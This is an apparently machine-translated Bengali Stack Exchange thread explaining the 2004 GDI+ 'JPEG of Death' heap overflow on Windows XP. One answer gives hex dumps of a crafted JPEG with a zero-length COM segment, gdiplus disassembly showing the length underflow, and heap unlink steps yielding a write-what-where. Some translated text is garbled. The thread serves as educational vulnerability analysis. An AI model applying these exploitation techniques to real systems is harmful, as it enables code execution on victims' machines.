মৃত্যুর দুর্বলতার জেপিজি কীভাবে কাজ করে?


94

আমি জিডিআই + এর বিপরীতে উইন্ডোজ এক্সপি এবং উইন্ডোজ সার্ভার ২০০৩- তে একটি প্রজন্মের শোষণ সম্পর্কে পড়ছি যা আমি কাজ করছি এমন একটি প্রকল্পের জন্য মৃত্যুর জেপিজি।

শোষণটি নীচের লিঙ্কটিতে ভালভাবে ব্যাখ্যা করা হয়েছে: http://www.infosecwriters.com/text_resources/pdf/JPEG.pdf

মূলত, একটি জেপিজি ফাইলের মধ্যে সিওএম নামে একটি বিভাগ রয়েছে (সম্ভবত শূন্য) মন্তব্য ক্ষেত্র এবং একটি COM এর আকারযুক্ত দুটি বাইট মান। কোনও মন্তব্য না থাকলে, আকারটি ২ হয় The পাঠক (জিডিআই +) আকারটি পড়েন, দুটি বিয়োগ করে এবং হিপগুলিতে মন্তব্যগুলি অনুলিপি করতে উপযুক্ত আকারের একটি বাফার বরাদ্দ করেন। আক্রমণে 0ক্ষেত্রের মধ্যে একটি মান স্থাপন করা জড়িত । GDI এর + + subtracts 2, একটি মান নেতৃত্ব -2 (0xFFFe)যা স্বাক্ষরবিহীন পূর্ণসংখ্যা রূপান্তরিত পরার 0XFFFFFFFEদ্বারা memcpy

কোডের উদাহরণ:

unsigned int size;
size = len - 2;
char *comment = (char *)malloc(size + 1);
memcpy(comment, src, size);

লক্ষ্য করুন যে malloc(0)তৃতীয় লাইনে গাদাতে অবিকৃত মেমোরিটিতে একটি পয়েন্টার ফিরিয়ে দেওয়া উচিত। কীভাবে 0XFFFFFFFEবাইটস ( 4GB!!!!) লেখা সম্ভব প্রোগ্রামটি ক্র্যাশ করতে পারে না? এটি কি গাদা অঞ্চল ছাড়িয়ে এবং অন্যান্য প্রোগ্রাম এবং ওএসের স্পেসে লিখতে পারে? তাহলে কি হয়?

আমি যেমন বুঝতে পারি memcpy, এটি nগন্তব্য থেকে উত্সটিতে অক্ষরগুলি অনুলিপি করে। এক্ষেত্রে উত্সটি স্ট্যাকের, গর্তের গন্তব্যে থাকা এবং nহওয়া উচিত 4GB


malloc গাদা থেকে মেমরি বরাদ্দ করা হবে। আমি মনে করি
মেমকপির

পার্শ্ব নোট হিসাবে: এটি একটি স্মৃতিচিহ্ন নয় যা স্বাক্ষরবিহীন পূর্ণসংখ্যার (4 বাইট) মান বাড়িয়ে তোলে, বরং বিয়োগফলকে।
রেভ

4
আমার পূর্ববর্তী উত্তরটি জীবন্ত উদাহরণ দিয়ে আপডেট করেছে। mallocইডি আকার বদলে শুধুমাত্র 2 বাইট 0xFFFFFFFE। এই বিশাল আকারটি কেবল অনুলিপি আকারের জন্য ব্যবহৃত হয়, বরাদ্দ আকারের জন্য নয়।
নিত্সা

উত্তর:


96

এই দুর্বলতা অবশ্যই গাদা ওভারফ্লো হয়েছিল

0XFFFFFFFE বাইট (4 গিগাবাইট !!!!) লেখার মাধ্যমে কীভাবে প্রোগ্রামটি ক্রাশ হতে পারে না?

এটি সম্ভবত হবে, তবে কোনও কোনও সময় আপনি ক্র্যাশ হওয়ার আগে শোষণ করার সময় পেয়েছিলেন (কখনও কখনও আপনি প্রোগ্রামটিকে তার সাধারণ সম্পাদনে ফিরে পেতে এবং ক্র্যাশ এড়াতে পারেন)।

যখন মেমকিপি () শুরু হবে, অনুলিপিটি অন্য কোনও হিপ ব্লক বা হিপ পরিচালনার কাঠামোর কিছু অংশ (যেমন ফ্রি তালিকা, ব্যস্ত তালিকা ইত্যাদি) ওভাররাইট করে।

কিছু সময়ে অনুলিপিটি একটি বরাদ্দকৃত পৃষ্ঠার মুখোমুখি হবে এবং লিখিতভাবে একটি AV (অ্যাক্সেস লঙ্ঘন) ট্রিগার করবে। GDI এর + + তারপর (দেখুন গাদা একটি নতুন ব্লক বরাদ্দ করতে চেষ্টা করবে ntdll! RtlAllocateHeap ) ... কিন্তু গাদা কাঠামো এখন সব বিশৃঙ্খলার সৃষ্টি করছে।

এই মুহুর্তে, আপনার জেপিইজি চিত্রটি যত্ন সহকারে তৈরি করে আপনি নিয়ন্ত্রিত ডেটা সহ হিপ ম্যানেজমেন্ট স্ট্রাকচারগুলি ওভাররাইট করতে পারেন। সিস্টেমটি যখন নতুন ব্লকটি বরাদ্দ দেওয়ার চেষ্টা করে, এটি সম্ভবত ফ্রি তালিকা থেকে একটি (ফ্রি) ব্লককে লিঙ্কমুক্ত করবে।

ব্লকটি একটি ফ্লিংক (ফরোয়ার্ড লিঙ্ক; তালিকার পরবর্তী ব্লক) এবং ব্লিঙ্কগুলি (পিছনের লিঙ্ক; তালিকার পূর্ববর্তী ব্লক) পয়েন্টার সহ পরিচালনা করা হয়। আপনি যদি উভয় ঝাঁকুনি এবং ঝলক নিয়ন্ত্রণ করেন তবে আপনার একটি সম্ভাব্য WRITE4 থাকতে পারে (কী / কোথায় শর্ত লিখুন) যেখানে আপনি কী লিখতে পারেন এবং কোথায় লিখতে পারবেন তা নিয়ন্ত্রণ করেন।

সেই সময়ে আপনি একটি ফাংশন পয়েন্টার ওভাররাইট করতে পারেন ( এসইএইচ [স্ট্রাকচার্ড এক্সসেপশন হ্যান্ডলারস] পয়েন্টারগুলি সেই সময়ে 2004 এর আগে পছন্দের টার্গেট ছিল) এবং কোড এক্সিকিউশন অর্জন করতে পারে।

ব্লগ পোস্ট হিপ দুর্নীতি দেখুন: একটি কেস স্টাডি

দ্রষ্টব্য: যদিও আমি ফ্রিলিস্ট ব্যবহার করে শোষণ সম্পর্কে লিখেছিলাম, আক্রমণকারী অন্য হিপ মেটাডেটা ব্যবহার করে অন্য পথ বেছে নিতে পারে ("হিপ মেটাডেটা" হিপ পরিচালনার জন্য সিস্টেম দ্বারা ব্যবহৃত কাঠামো; ঝাঁকুনি এবং ঝলক হিপ মেটাডেটার অংশ), তবে লিঙ্কমুক্ত শোষণটি সম্ভবত "সবচেয়ে সহজ"। "হিপ শোষণ" এর জন্য একটি গুগল অনুসন্ধান এ সম্পর্কে অসংখ্য অধ্যয়ন ফিরিয়ে দেবে।

এটি কি গাদা অঞ্চল ছাড়িয়ে এবং অন্যান্য প্রোগ্রাম এবং ওএসের স্পেসে লিখতে পারে?

কখনই না। আধুনিক ওএস ভার্চুয়াল অ্যাড্রেস স্পেসের ধারণার ভিত্তিতে তৈরি তাই প্রতিটি প্রক্রিয়াটির নিজস্ব ভার্চুয়াল ঠিকানা স্থান রয়েছে যা 32-বিট সিস্টেমে 4 গিগাবাইট মেমরি পর্যন্ত সম্বোধন করতে সক্ষম করে তোলে (বাস্তবে আপনি এটির অর্ধেকটি ব্যবহারকারী-ভূমিতে পেয়েছেন, বাকিটি কার্নেলের জন্য)।

সংক্ষেপে, একটি প্রক্রিয়া অন্য প্রক্রিয়ার মেমোরি অ্যাক্সেস করতে পারে না (যদি এটি কোনও সার্ভিস / এপিআইয়ের মাধ্যমে এটির জন্য কার্নেলটি জিজ্ঞাসা করে তবে কর্নেল চেক করে দেখবে যে কলারের পক্ষে এটি করার অধিকার রয়েছে কিনা)।


আমি এই দুর্বলতাটিকে এই সপ্তাহের শেষের দিকে পরীক্ষা করার সিদ্ধান্ত নিয়েছি, তাই খাঁটি অনুমানের চেয়ে আমরা কী চলছে তা সম্পর্কে আমরা ভাল ধারণা পেতে পারি। দুর্বলতাটি এখন 10 বছর বয়স্ক, সুতরাং আমি ভেবেছিলাম এটি সম্পর্কে লিখতে ভাল হবে, যদিও আমি এই উত্তরে শোষণের অংশটি ব্যাখ্যা করি নি।

পরিকল্পনা

সর্বাধিক কঠিন কাজটি ছিল কেবলমাত্র এসপি 1 সহ একটি উইন্ডোজ এক্সপি খুঁজে পাওয়া, যেমনটি 2004 সালে ছিল :)

তারপরে, আমি নীচে দেখানো অনুসারে শুধুমাত্র একটি একক পিক্সেলের সমন্বিত একটি জেপিইজি চিত্র ডাউনলোড করেছি (ব্রেভিটির জন্য কাটা):

File 1x1_pixel.JPG
Address   Hex dump                                         ASCII
00000000  FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF  `
00000010  00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49|  `  ÿá Exif  II
00000020  2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| *          ÿÛ C
[...]

একটি জেপিজি চিত্র বাইনারি মার্কার (যা অন্তর্ভুক্ত বিভাগগুলি) নিয়ে গঠিত। উপরের চিত্রটিতে, FF D8এসওআই (চিত্রের শুরু) মার্কার রয়েছে, FF E0উদাহরণস্বরূপ, একটি অ্যাপ্লিকেশন মার্কার।

মার্কার সেগমেন্টের প্রথম প্যারামিটারটি (এসওআই এর মতো কিছু মার্কার ব্যতীত) একটি দ্বি-বাইট দৈর্ঘ্যের প্যারামিটার যা দৈর্ঘ্যের প্যারামিটার সহ এবং দ্বি-বাইট চিহ্নিতকারীকে বাদ দিয়ে মার্কার সেগমেন্টের বাইটের সংখ্যা এনকোড করে।

FFFESOI এর ঠিক পরে আমি একটি COM চিহ্নিতকারী (0x ) যুক্ত করেছি, যেহেতু চিহ্নিতকারীদের কোনও কঠোর অর্ডার নেই।

File 1x1_pixel_comment_mod1.JPG
Address   Hex dump                                         ASCII
00000000  FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ  0000000100
00000010  30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020  30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030  30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]

00 00দুর্বলতা ট্রিগার করতে COM বিভাগের দৈর্ঘ্য সেট করা আছে। আমি পুনরাবৃত্ত প্যাটার্ন সহ সিওএম মার্কারের ঠিক পরে 0xFFFC বাইটও ইনজেকশন দিয়েছিলাম, হেক্সে একটি 4 বাইট নম্বর, যা দুর্বলতার "শোষণ" করার সময় সহজ হয়ে যাবে।

ডিবাগিং

ছবিটিতে ডাবল ক্লিক করলে তাত্ক্ষণিকভাবে উইন্ডোজ শেল (ওরফে "এক্সপ্লোরার এক্সেক্স"), কোথাও কোথাও gdiplus.dll, নামের একটি কার্যক্রমে বাগটি ট্রিগার করবে GpJpegDecoder::read_jpeg_marker()

এই ফাংশনটিকে চিত্রের প্রতিটি চিহ্নিতকারীকে ডাকা হয়, এটি কেবল: মার্কার সেগমেন্টের আকারটি পড়েন, এমন একটি বাফার বরাদ্দ করেন যার দৈর্ঘ্যটি সেগমেন্টের আকার এবং এই সদ্য বরাদ্দকৃত বাফারে সেগমেন্টের সামগ্রীটি অনুলিপি করে।

এখানে ফাংশন শুরু:

.text:70E199D5  mov     ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8  push    esi
.text:70E199D9  mov     esi, [ebx+18h]
.text:70E199DC  mov     eax, [esi]      ; eax = pointer to segment size
.text:70E199DE  push    edi
.text:70E199DF  mov     edi, [esi+4]    ; edi = bytes left to process in the image

eaxবিভাগের আকারের পয়েন্টগুলি নিবন্ধভুক্ত করুন ediএবং এটি চিত্রটিতে থাকা বাইটের সংখ্যা।

কোডটি পরে সেগমেন্টের আকারটি সর্বাধিক উল্লেখযোগ্য বাইট দ্বারা শুরু করে (দৈর্ঘ্যটি একটি 16-বিট মান) থেকে শুরু করে:

.text:70E199F7  xor     ecx, ecx        ; segment_size = 0
.text:70E199F9  mov     ch, [eax]       ; get most significant byte from size --> CH == 00
.text:70E199FB  dec     edi             ; bytes_to_process --
.text:70E199FC  inc     eax             ; pointer++
.text:70E199FD  test    edi, edi
.text:70E199FF  mov     [ebp+arg_0], ecx ; save segment_size

এবং সর্বনিম্ন উল্লেখযোগ্য বাইট:

.text:70E19A15  movzx   cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19  add     [ebp+arg_0], ecx   ; save segment_size
.text:70E19A1C  mov     ecx, [ebp+lpMem]
.text:70E19A1F  inc     eax             ; pointer ++
.text:70E19A20  mov     [esi], eax
.text:70E19A22  mov     eax, [ebp+arg_0] ; eax = segment_size

এটি হয়ে গেলে, এই গণনা অনুসরণ করে বিভাগের আকার বাফার বরাদ্দ করতে ব্যবহৃত হয়:

বরাদ্দ_ আকার = বিভাগ_ আকার + 2 2

এটি নীচের কোড দ্বারা সম্পন্ন করা হয়:

.text:70E19A29  movzx   esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D  add     eax, 2 
.text:70E19A30  mov     [ecx], ax 
.text:70E19A33  lea     eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36  push    eax             ; dwBytes
.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)

আমাদের ক্ষেত্রে বিভাগটির আকার 0 হওয়ায় বাফারের জন্য বরাদ্দ করা আকারটি 2 বাইট

দুর্বলতা বরাদ্দের পরে ঠিক:

.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)
.text:70E19A3C  test    eax, eax
.text:70E19A3E  mov     [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41  jz      loc_70E19AF1
.text:70E19A47  mov     cx, [ebp+arg_4]   ; low marker byte (0xFE)
.text:70E19A4B  mov     [eax], cx         ; save in alloc (offset 0)
;[...]
.text:70E19A52  lea     edx, [esi-2]      ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61  mov     [ebp+arg_0], edx

কোডটি পুরো বিভাগের আকার (আমাদের ক্ষেত্রে 0) থেকে কেবল সেগমেন্ট_সাইজ আকার (বিভাগের দৈর্ঘ্য 2 বাইট মান) বিয়োগ করে এবং একটি পূর্ণসংখ্যার আন্ডারফ্লোতে শেষ হয়: 0 - 2 = 0xFFFFFFE

তারপরে কোডটি যাচাই করে থাকে যে ছবিতে পার্স করার জন্য বাইটগুলি রয়েছে (যা সত্য) এবং তারপরে অনুলিপিটিতে ঝাঁপিয়ে পড়ে:

.text:70E19A69  mov     ecx, [eax+4]  ; ecx = bytes left to parse (0x133)
.text:70E19A6C  cmp     ecx, edx      ; edx = 0xFFFFFFFE
.text:70E19A6E  jg      short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4  mov     eax, [ebx+18h]
.text:70E19AB7  mov     esi, [eax]      ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9  mov     edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC  mov     ecx, edx        ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE  mov     eax, ecx
.text:70E19AC0  shr     ecx, 2          ; size / 4
.text:70E19AC3  rep movsd               ; copy segment content by 32-bit chunks

উপরের স্নিপেটটি দেখায় যে অনুলিপিটির আকার 0xFFFFFFFF 32-বিট খণ্ড রয়েছে। উত্স বাফার নিয়ন্ত্রণ করা হয় (ছবির বিষয়বস্তু) এবং গন্তব্য গাদা একটি বাফার।

শর্ত লিখুন

কপিটি যখন মেমরি পৃষ্ঠার শেষের দিকে পৌঁছে যায় তখন এটি অ্যাক্সেস লঙ্ঘন (এভি) ব্যতিক্রমকে ট্রিগার করবে (এটি উত্স পয়েন্টার বা গন্তব্য পয়েন্টার হতে পারে)। যখন এভি ট্রিগার করা হয় তখন হিপটি ইতিমধ্যে দুর্বল অবস্থায় থাকে কারণ অনুলিপিযুক্ত পৃষ্ঠাটি না আসা পর্যন্ত অনুলিপিটি নিম্নলিখিত সমস্ত হিপ ব্লকগুলিকে ওভাররাইট করে ফেলেছে।

এই বাগটি কীভাবে কাজে লাগিয়ে তোলে তা হ'ল 3 এসইএইচ (স্ট্রাকচার্ড এক্সসেপশন হ্যান্ডলার; এটি চেষ্টা / নিম্ন স্তরের ব্যতীত) কোডের এই অংশে ব্যতিক্রমগুলি ধরছে। আরও স্পষ্টভাবে, 1 ম এসইচটি স্ট্যাকটি উন্মুক্ত করবে যাতে এটি অন্য জেপিইজি চিহ্নিতকারীকে বিশ্লেষণ করতে ফিরে আসে, এইভাবে ব্যতিক্রম ঘটায় এমন মার্কারটিকে পুরোপুরি এড়িয়ে যায়।

কোনও এসইএইচ ছাড়া কোডটি কেবল পুরো প্রোগ্রামটি ক্র্যাশ করে। সুতরাং কোডটি COM বিভাগটিকে এড়িয়ে যায় এবং অন্য একটি বিভাগকে পার্স করে। সুতরাং আমরা GpJpegDecoder::read_jpeg_marker()একটি নতুন বিভাগ এবং যখন কোড একটি নতুন বাফার বরাদ্দ সঙ্গে ফিরে পেতে :

.text:70E19A33  lea     eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36  push    eax             ; dwBytes
.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)

সিস্টেমটি ফ্রি তালিকা থেকে একটি ব্লককে লিঙ্কমুক্ত করবে। এটি ঘটে যে মেটাডেটা স্ট্রাকচারগুলি চিত্রের সামগ্রীতে ওভাররাইট করা হয়েছিল; সুতরাং আমরা নিয়ন্ত্রিত মেটাডেটার সাথে লিঙ্কটিকে নিয়ন্ত্রণ করি। সিস্টেমের কোথাও নীচে কোডটি হ্যাপ ম্যানেজারের (এনটিডিএল):

CPU Disasm
Address   Command                                  Comments
77F52CBF  MOV ECX,DWORD PTR DS:[EAX]               ; eax points to '0003' ; ecx = 0x33303030
77F52CC1  MOV DWORD PTR SS:[EBP-0B0],ECX           ; save ecx
77F52CC7  MOV EAX,DWORD PTR DS:[EAX+4]             ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA  MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0  MOV DWORD PTR DS:[EAX],ECX               ; write 0x33303030 to 0x34303030!!!

এখন আমরা যা চাই সেখানে লিখতে পারি, আমরা কোথায় চাই ...


3

যেহেতু আমি জিডিআই থেকে কোডটি জানি না, তাই নীচেরটি কেবল অনুমান।

ঠিক আছে, একটি জিনিস যা মনে রাখে তা হ'ল এমন একটি আচরণ যা আমি কিছু ওএসগুলিতে লক্ষ্য করেছি (নতুন উইন্ডোজের সাথে বরাদ্দ করার সময় উইন্ডোজ এক্সপি ছিল কিনা তা আমি জানি না) malloc, আপনি যতক্ষণ পর্যন্ত আপনার র্যামের চেয়ে বেশি বরাদ্দ করতে পারেন আপনি এই স্মৃতিতে লিখবেন না।

এটি আসলে লিনাক্স কার্নেলের একটি আচরণ।

Www.kernel.org থেকে:

প্রক্রিয়া লিনিয়ার ঠিকানা স্পেসের পৃষ্ঠাগুলি অগত্যা মেমরির বাসিন্দা নয়। উদাহরণস্বরূপ, কোনও প্রক্রিয়ার পক্ষে বরাদ্দগুলি অবিলম্বে সন্তুষ্ট হয় না কারণ স্থানটি কেবলমাত্র vm_area_struct এর মধ্যে সংরক্ষিত রয়েছে।

আবাসিক স্মৃতিতে পেতে কোনও পৃষ্ঠা ত্রুটি ট্রিগার করতে হবে।

মূলত সিস্টেমে বরাদ্দ পাওয়ার আগে মেমরিটি আপনার নোংরা করা দরকার:

  unsigned int size=-1;
  char* comment = new char[size];

কখনও কখনও এটি আসলে র‌্যামে আসল বরাদ্দ দেয় না (আপনার প্রোগ্রামটি এখনও 4 জিবি ব্যবহার করবে না)। আমি জানি যে আমি একটি লিনাক্সে এই আচরণটি দেখেছি, তবে আমি এখন এটি আমার উইন্ডোজ 7 ইনস্টলেশনতে প্রতিলিপি করতে পারি না।

এই আচরণ থেকে শুরু করে নিম্নলিখিত দৃশ্যটি সম্ভব।

র‌্যামে থাকা সেই স্মৃতিটি তৈরি করতে আপনাকে এটিকে নোংরা করতে হবে (মূলত এটির স্মৃতি বা এটি অন্য কোনও লেখা):

  memset(comment, 0, size);

তবে দুর্বলতা একটি বাফার ওভারফ্লো শোষণ করে, বরাদ্দ ব্যর্থতা নয়।

অন্য কথায়, আমি যদি এই থাকতাম:

 unsinged int size =- 1;
 char* p = new char[size]; // Will not crash here
 memcpy(p, some_buffer, size);

এটি বাফারের পরে একটি লেখার দিকে পরিচালিত করবে, কারণ অবিচ্ছিন্ন মেমরির 4 জিবি সেগমেন্টের মতো কোনও জিনিস নেই।

পুরো 4 গিগাবাইট মেমরিটি নোংরা করতে আপনি কোনও পি রাখেন নি, এবং আমি জানি না memcpyমেমরিটিকে একবারে নোংরা করে তোলে বা কেবল পৃষ্ঠায় পৃষ্ঠা (আমি মনে করি এটি পৃষ্ঠায় পৃষ্ঠায় আছে)।

শেষ পর্যন্ত এটি স্ট্যাক ফ্রেম (স্ট্যাক বাফার ওভারফ্লো) ওভাররাইট করে শেষ হবে।

আরেকটি সম্ভাব্য দুর্বলতা হ'ল যদি ছবিটি বাইট অ্যারে হিসাবে স্মৃতিতে রাখা হয় (পুরো ফাইলটি বাফারে পড়ুন), এবং আকারের মন্তব্যগুলি কেবল অ-গুরুত্বপূর্ণ তথ্য এড়াতে ব্যবহৃত হত।

উদাহরণ স্বরূপ

     unsigned int commentsSize = -1;
     char* wholePictureBytes; // Has size of file
     ...
     // Time to start processing the output color
     char* p = wholePictureButes;
     offset = (short) p[COM_OFFSET];
     char* dataP = p + offset;
     dataP[0] = EvilHackerValue; // Vulnerability here

যেমনটি আপনি উল্লেখ করেছেন, জিডিআই যদি সেই আকার বরাদ্দ না দেয় তবে প্রোগ্রামটি কখনও ক্রাশ হবে না।


4
এটি একটি 64৪-বিট সিস্টেমের সাথে থাকতে পারে, যেখানে 4 জিবি কোনও বড় বিষয় নয় (অ্যাডেস স্পেসের বিষয়ে কথা বলা)। তবে একটি 32-বিট সিস্টেমে (এগুলিও খুব দুর্বল বলে মনে হচ্ছে) আপনি 4GB ঠিকানার স্থান সংরক্ষণ করতে পারবেন না, কারণ এটাই হবে! সুতরাং একটি malloc(-1U)অবশ্যই ব্যর্থ হবে, ফিরে NULLএবং memcpy()ক্রাশ হবে।
রডরিগো

9
এই লাইনটি সত্য বলে আমি মনে করি না: "পরিণামে এটি অন্য প্রক্রিয়া ঠিকানার মধ্যে লেখা শেষ হবে।" সাধারণত একটি প্রক্রিয়া অন্যের স্মৃতি অ্যাক্সেস করতে পারে না। এমএমইউ সুবিধাগুলি দেখুন ।
chue x

@ এমএমইউ উপকারিতা হ্যাঁ, আপনি ঠিক বলেছেন are আমি বলতে চাইছিলাম যে এটি সাধারণ গাদা সীমানা পেরিয়ে স্ট্যাক ফ্রেমের ওভাররাইট করা শুরু করবে। আমি আমার উত্তরটি সম্পাদনা করব, এটি উল্লেখ করার জন্য ধন্যবাদ।
মাইকেলCMS
আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.